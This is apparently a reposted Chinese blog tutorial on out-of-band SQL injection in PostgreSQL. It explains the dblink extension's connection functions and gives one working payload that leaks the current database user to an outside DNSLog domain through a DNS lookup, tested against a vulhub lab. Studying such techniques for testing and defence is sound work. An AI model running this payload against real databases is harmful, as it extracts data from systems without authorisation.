IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> 大数据 -> SQL注入漏洞(postgresql之OOB带外注入) -> 正文阅读

[大数据]SQL注入漏洞(postgresql之OOB带外注入)

这个可以与MYSQLDNSLog原理想相同,也可以就叫他DNSLog带外注入。所用到的函数有两个dblink() / dblink_connect()不过dblink()需要超级用户才能使用。

这几个函数都来源一个插件dblink,也就是说这几个函数都不是PG自带的而需要扩展安装

安装指令:create extension dblink

dblink_connect()

表示打开一个到数据库的持久连接,前面说dblink_connect()只有超级用户才能调用,而实际上有一个与之作用基本相同且不需要超级用户便能调用的一个函数---dblink_connect_u(),但不安全基本不会用。

dblink_connect('conname','connstr')

conname(可选):要用于这个连接的名字。如果被忽略,将打开一个未命名连接并且替换掉任何现有的未命名连接。

connstr(必选):数据库连接串信息,格式为:hostaddr=127.0.0.1 port=5432 dbname=mydb user=postgres password=mypasswd

由于是持久连接,因此需要一个阻断其连接的函数-----dblink_disconnect('conname')

conname参数还是可选的,因为可能出现未命名连接,所以当conname为空时,则阻断未命名的连接。

dblink()

dblinke_connect()持久连接相对,dblink()是短暂的连接,即在一个远程数据库中执行一个查询。

dblink('conname','connstr','sql','fail_on_error')

conname:要使用的连接名。忽略这个参数也是用未命名连接。


connstr:如上面为dblink_connect所描述的一个连接信息字符串。


sql:你希望在远程数据库中执行的 SQL 查询,例如select password from users。


fail_on_error:如果为真(忽略时的默认值),那么在连接的远端抛出的一个错误也会导致本地抛出一 个错误。如果为假,远程错误只在本地被报告为一个 NOTICE,并且该函数不反回行。

因为connstr需要用到host,直接IP还没啥,如果是域名呢?当然是会被解析,解析域名?那不是又回到了DNSLog注入

DNSLog网站中get一个域名,写一条如下的指令

SELECT * FROM dblink('host='||(select user)||'.6niwhz.dnslog.cn user=vulhub password=vulhub dbname=vulhub', 'SELECT version()') RETURNS (result TEXT);

可以看到携带成功 ,这个玩意儿后面有个CVE的未授权洞就要用到这个带外。

参考:PostgreSQL dblink使用详解_foucus、的博客-CSDN博客_dblink postgre

  大数据 最新文章
实现Kafka至少消费一次
亚马逊云科技:还在苦于ETL?Zero ETL的时代
初探MapReduce
【SpringBoot框架篇】32.基于注解+redis实现
Elasticsearch:如何减少 Elasticsearch 集
Go redis操作
Redis面试题
专题五 Redis高并发场景
基于GBase8s和Calcite的多数据源查询
Redis——底层数据结构原理
上一篇文章      下一篇文章      查看所有文章
加:2022-07-17 16:30:00  更:2022-07-17 16:30:31 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年5日历 -2024/5/19 22:19:14-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码